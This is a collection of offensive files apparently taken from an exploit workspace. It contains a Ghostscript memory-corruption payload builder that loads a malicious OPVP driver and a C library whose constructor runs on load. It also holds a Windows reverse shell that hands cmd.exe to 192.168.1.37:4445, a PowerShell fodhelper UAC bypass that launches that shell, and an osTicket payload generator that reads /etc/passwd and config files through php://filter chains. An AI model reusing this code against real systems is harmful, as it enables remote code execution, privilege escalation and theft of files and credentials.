                printf 'match { of iter 16 mul 131084 add 32 string cvs writestring of ( ) writestring } if '
                printf '/p0 p0 16 add def p0 65535 gt { /p0 p0 65536 sub def /p1 p1 1 add def '
                printf 'p1 65535 gt { /p1 0 def /p2 p2 1 add def p2 sw poke2 } if p1 sw poke1 } if p0 sw poke0 } for\n'
                printf 'of closefile showpage\n'
                printf '%%%%EOF\n'
                exit 0
            fi
            # The first ref in victim now points at path_control_active.  A
            # CID 0 write through it clears the low two bytes of the integer.
            printf '/a0 256 array def 0 1 255 { a0 exch 0 put } for a0 0 999 put\n'
            printf '/d0 1 dict def d0 0 a0 put /t0 1 dict def t0 999 0 put\n'
            printf 'd0 t0 [] 2 victim %s 1 getinterval fillop\n' "$victim_index"
            printf 'victim %s window put\n' "$victim_index"
            printf '/df (/tmp/trustfall-opvp-diag) (w) file def '
            printf 'df (flag-after: ) writestring /fs victim %s get def ' "$victim_index"
            printf '0 1 15 { fs exch get 8 string cvs df exch writestring df ( ) writestring } for df (\\n) writestring\n'
            # A deliberately failed open leaves finddevice's fresh mutable
            # copy closed in devicedict slot 1.  Point it at the real driver.
            printf 'df (strategy: failed-open-then-real-driver\\n) writestring df closefile\n'
            printf '/df (/tmp/trustfall-opvp-diag2) (w) file def\n'
            printf '/awayok false def /awayerr /none def { origdev setdevice /awayok true def } stopped '
            printf '{ /awayerr $error /errorname get def } if clear\n'
            printf 'awayok { df (switch-away: ok\\n) writestring } '
            printf '{ df (switch-away: ) writestring df awayerr 64 string cvs writestring df (\\n) writestring } ifelse\n'
            printf '/failerr /none def { << /OutputDevice /opvp /Driver (/tmp/trustfall-no-such-driver.so) >> setpagedevice } '
            printf 'stopped { /failerr $error /errorname get def } if clear\n'
            printf 'df (staging-open: ) writestring df failerr 64 string cvs writestring df (\\n) writestring\n'
            printf '/opdev devicedict /opvp get 1 get def\n'
            printf '/putok false def /puterr /none def { opdev null true mark /Driver (/tmp/trustfall-cidmap-opvp.so) '
            printf '.putdeviceparamsonly pop pop /putok true def } stopped { /puterr $error /errorname get def } if clear\n'
            printf 'putok { df (closed-copy-params: ok\\n) writestring } '
            printf '{ df (closed-copy-params: ) writestring df puterr 64 string cvs writestring df (\\n) writestring } ifelse\n'
            printf '/setok false def /seterr /none def { opdev setdevice /setok true def } stopped '
            printf '{ /seterr $error /errorname get def } if clear\n'
            printf 'setok { df (real-open: ok\\n) writestring } '
            printf '{ df (real-open: ) writestring df seterr 64 string cvs writestring df (\\n) writestring } ifelse df closefile\n'
        fi
        printf 'showpage\n'
    fi
    printf '%%%%EOF\n'
} > "$payload"

printf 'Built %s (%s), victim pointer delta %s, index %s, library %s bytes\n' \
    "$payload" "$mode" "$victim_delta" "$victim_index" "$(stat -c %s "$library")"

probes/cidmap_opvp_marker.c

/* Minimal dependency-free x86-64 marker for the TrustFall OPVP RCE proof. */

#define AT_FDCWD -100
#define O_WRONLY 1
#define O_CREAT 64
#define O_TRUNC 512

#ifndef MARKER_PATH
#define MARKER_PATH "/tmp/trustfall-cidmap-opvp-rce"
#endif

static long syscall1(long number, long arg1)
{
    long result;
    __asm__ volatile (
        "syscall"
        : "=a" (result)
        : "a" (number), "D" (arg1)
        : "rcx", "r11", "memory"
    );
    return result;
}

static long syscall3(long number, long arg1, long arg2, long arg3)
{
    long result;
    __asm__ volatile (
        "syscall"
        : "=a" (result)
        : "a" (number), "D" (arg1), "S" (arg2), "d" (arg3)
        : "rcx", "r11", "memory"
    );
    return result;
}

static long syscall4(long number, long arg1, long arg2, long arg3, long arg4)
{
    register long r10 __asm__("r10") = arg4;
    long result;
    __asm__ volatile (
        "syscall"
        : "=a" (result)
        : "a" (number), "D" (arg1), "S" (arg2), "d" (arg3), "r" (r10)
        : "rcx", "r11", "memory"
    );
    return result;
}

static unsigned long string_length(const char *text)
{
    const char *cursor = text;
    while (*cursor)
        cursor++;
    return (unsigned long)(cursor - text);
}

static void write_marker(const char *path, const char *text)
{
    long fd = syscall4(257, AT_FDCWD, (long)path,
                       O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd < 0)
        return;
    syscall3(1, fd, (long)text, (long)string_length(text));
    syscall1(3, fd);
}

__attribute__((constructor))
static void loaded(void)
{
    write_marker(
        MARKER_PATH,
        "CIDMap underwrite unlocked OPVP and its dlopen constructor ran.\n"
    );
}

int opvpErrorNo;

int opvpOpenPrinter(int output_fd, const char *model, const int api_version[2],
                    void **api_procs)
{
    (void)output_fd;
    (void)model;
    (void)api_version;
    (void)api_procs;
    opvpErrorNo = 1;
    return -1;
}

loot/trustfall-emma-rdp/diagnostic4445.c

#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>

int WINAPI WinMain(HINSTANCE instance, HINSTANCE previous, LPSTR command_line, int show) {
    WSADATA data;
    struct sockaddr_in endpoint;
    STARTUPINFOA startup;
    PROCESS_INFORMATION process;
    SOCKET channel;

    (void)instance;
    (void)previous;
    (void)command_line;
    (void)show;

    if (WSAStartup(MAKEWORD(2, 2), &data) != 0) {
        return 1;
    }

    ZeroMemory(&endpoint, sizeof(endpoint));
    endpoint.sin_family = AF_INET;
    endpoint.sin_port = htons(4445);
    endpoint.sin_addr.s_addr = inet_addr("192.168.1.37");

    for (;;) {
        channel = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
        if (channel == INVALID_SOCKET) {
            Sleep(5000);
            continue;
        }

        if (connect(channel, (struct sockaddr *)&endpoint, sizeof(endpoint)) == SOCKET_ERROR) {
            closesocket(channel);
            Sleep(5000);
            continue;
        }

        SetHandleInformation((HANDLE)channel, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT);
        ZeroMemory(&startup, sizeof(startup));
        ZeroMemory(&process, sizeof(process));
        startup.cb = sizeof(startup);
        startup.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
        startup.wShowWindow = SW_HIDE;
        startup.hStdInput = (HANDLE)channel;
        startup.hStdOutput = (HANDLE)channel;
        startup.hStdError = (HANDLE)channel;

        char shell[] = "C:\\Windows\\System32\\cmd.exe";
        if (CreateProcessA(NULL, shell, NULL, NULL, TRUE, CREATE_NO_WINDOW,
                           NULL, NULL, &startup, &process)) {
            CloseHandle(process.hThread);
            WaitForSingleObject(process.hProcess, INFINITE);
            CloseHandle(process.hProcess);
        }

        closesocket(channel);
        Sleep(5000);
    }
}

loot/trustfall-emma-rdp/task01-lpe.ps1

$ErrorActionPreference = 'SilentlyContinue'
$marker = 'C:\Users\Public\task01-lpe-fired.txt'

if (Test-Path $marker) {
    exit
}

whoami.exe /all | Out-File -Encoding ascii 'C:\Users\Public\task01-context.txt'
Set-Content -Encoding ascii -Path $marker -Value (Get-Date -Format o)

$handler = 'HKCU:\Software\Classes\ms-settings\Shell\Open\command'
New-Item -Path $handler -Force | Out-Null
New-ItemProperty -Path $handler -Name 'DelegateExecute' -Value '' -PropertyType String -Force | Out-Null
Set-Item -Path $handler -Value 'C:\Users\Public\diagnostic4445.exe'

Start-Process 'C:\Windows\System32\fodhelper.exe'
Start-Sleep -Seconds 10
Remove-Item 'HKCU:\Software\Classes\ms-settings' -Recurse -Force

/tmp/CVE-2026-22200/osticket_ticket_payload_gen.py

Upstream Horizon3.ai source from commit 06a50ca2b192ee91d1cc6cb60a3b4553392c2654.

# Original idea of formatting files as bitmap images taken from Hitcon 2022 web2pdf challenge: https://blog.splitline.tw/hitcon-ctf-2022/#%F0%9F%93%83-web2pdf-web
# Code based on: https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
#
# Example usage:
# python osticket_ticket_payload_gen.py -f /etc/passwd include/ost-config.php /proc/self/maps,b64zlib
# python osticket_ticket_payload_gen.py -f /usr/lib/x86_64-linux-gnu/libc.so.6,b64zlib -r
# python osticket_ticket_payload_gen.py -p cnext_payload -r
import base64, sys, string
from urllib.parse import quote
from argparse import ArgumentParser

ICONV_MAPPINGS = {
    "61": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
    "59": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
    "66": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
    "50": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
    "68": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
    "57": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
    "6f": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
    "6a": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
    "32": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
    "35": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE",
    "69": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
    "56": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
    "51": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
    "58": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
    "67": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
    "34": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
    "5a": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
    "33": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
    "4e": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
    "4b": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
    "42": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
    "45": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
    "73": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
    "74": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
    "4c": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
    "4d": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
    "75": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
    "72": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
    "44": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
    "2f": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
    "43": "convert.iconv.CN.ISO2022KR",
    "6b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
    "38": "convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16",
    "6e": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
    "36": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
    "31": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
    "65": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
    "62": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
    "54": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
    "53": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
    "30": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE",
    "37": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
    "6d": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
    "6c": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
    "39": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
    "52": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
    "55": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
    "63": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
    "64": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
    "46": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
    "79": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
    "41": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
    "77": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
    "48": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
    "70": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
    "4a": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
    "4f": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
    "71": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
    "76": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932",
    "49": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
    "47": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
    "78": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
    "7a": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937"
}

parser = ArgumentParser(description="Generate osTicket ticket payload to retrieve provided file paths, or wrap custom PHP payload. Set -r flag if the payload will be used to reply to an existing ticket.")
parser.add_argument('-f', '--files', nargs='*', help='Zero or more file paths to fetch. Add ,b64 or ,b64zlib to add conversions to file, e.g. /etc/passwd,b64lib', required=False)
parser.add_argument('-p', '--payload', help='file path containing PHP payload', required=False)
parser.add_argument('-r', '--reply', action='store_true', help='Generate payload for ticket reply (vs ticket creation)')
args = parser.parse_args()

PAYLOAD_FILE = args.payload
FILE_PATHS = args.files

if not PAYLOAD_FILE and not FILE_PATHS:
    print('no file paths or payload file provided')
    sys.exit(1)


payloads = []
if PAYLOAD_FILE:
    payloads.append(open(PAYLOAD_FILE, 'r').read())

if FILE_PATHS:
    for f in FILE_PATHS:

        # Depending on the file you may get slightly different results depending on the encoding, especially towards the end of the file
        # Note there appears to limit to the size of any individual BMP file you can pull back of roughly ~45K. File is truncated after that limit.
        if len(f.split(',', 1)) > 1:
            file_to_use, encoding = f.split(',', 1)
            if encoding not in ['plain', 'b64', 'b64zlib']:
                print(f'Invalid encoding: {encoding}, defaulting to plain text retrieval')
                encoding = 'plain'
        else:
            file_to_use = f
            encoding = 'plain'

        width, height = 15000, 1
        payload = b'BM:\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00(\x00\x00\x00' + \
            width.to_bytes(4, 'little') + \
            height.to_bytes(4, 'little') + \
            b'\x01\x00\x18\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        base64_payload = base64.b64encode(payload).decode()
        filters = "convert.iconv.UTF8.CSISO2022KR|"
        filters += "convert.base64-encode|"
        # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
        filters += "convert.iconv.UTF8.UTF7|"
        
        for c in base64_payload[::-1]:
            filters += ICONV_MAPPINGS[(str(hex(ord(c)))).replace("0x","")] + "|"
            filters += "convert.base64-decode|"
            filters += "convert.base64-encode|"
            filters += "convert.iconv.UTF8.UTF7|"

        filters += "convert.base64-decode"

        if encoding == 'b64' or encoding == 'b64zlib':
            filters = "convert.base64-encode|" + filters
            if encoding == 'b64zlib':
                filters = "zlib.deflate|" + filters

        payloads.append(f"php://filter/{filters}/resource={file_to_use}")

# osTicket specific logic

# url encode certain characters to bypass various checks. in particular it's important that php:// needs to be turned into php%3a//
# the path will get url decoded in the mpdf version included in osTicket
#
# Also Noticed that file paths with capital letters get turned into lowercase somewhere in the PDF processing.
# To work around this, we also urlencode capital letters
def quote_with_forced_uppercase(input_string: str) -> str:
    safe_chars = string.ascii_lowercase + string.digits + '_.-~'

    encoded_parts = []
    for char in input_string:
        if 'A' <= char <= 'Z':
            encoded_parts.append(f"%{ord(char):X}")
        elif char in safe_chars:
            encoded_parts.append(char)
        else:
            encoded_parts.append(quote(char))

    return "".join(encoded_parts)

# The SEP sequence is part of the payload and used to bypass some input validation/sanitization in osTicket and htmLawed.
# The separator is different when creating a new ticket vs replying to an existing ticket
#
# This exploit was tested specifically against osticket version 1.18.2 should work with other recent versions.
# Very old versions of osTicket circa 2020 and before actually don't seem to need any special separator (this has not been tested)
SEP = "&#38;&#35;&#51;&#52;" if args.reply else "&#34"

final_payload = '<ul>'
for p in payloads:
    final_payload += f'<li style="list-style-image:url{SEP}({quote_with_forced_uppercase(p)})">listitem</li>\n'
final_payload += '</ul>'

print(final_payload)